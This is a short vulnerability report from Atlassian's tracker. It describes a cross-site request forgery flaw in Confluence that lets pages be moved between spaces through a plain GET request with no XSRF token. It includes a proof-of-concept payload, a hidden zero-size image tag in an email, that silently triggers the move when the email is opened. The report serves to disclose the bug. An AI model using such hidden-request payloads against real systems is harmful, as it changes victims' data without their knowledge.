Moving pages around spaces using HTTP get without XSRF token

2013-09-11T05:04:04
ID ATLASSIAN:CONFSERVER-30750
Type atlassian
Reporter iloire
Modified 2018-10-11T08:41:12

Description

Seems like you can easily move pages around spaces by just hitting the movepage action using GET, like this:

http://localhost:8080/confluence/pages/movepage.action?pageId=787055&position=topLevel&spaceKey=S2

Malicious example of how to exploit this (in an email message):

<img src="http://localhost:8080/confluence/pages/movepage.action?pageId=787055&position=topLevel&spaceKey=S2" style="height:0;width:0">

(after opening the email, the page has been moved to S2 space)

scary!!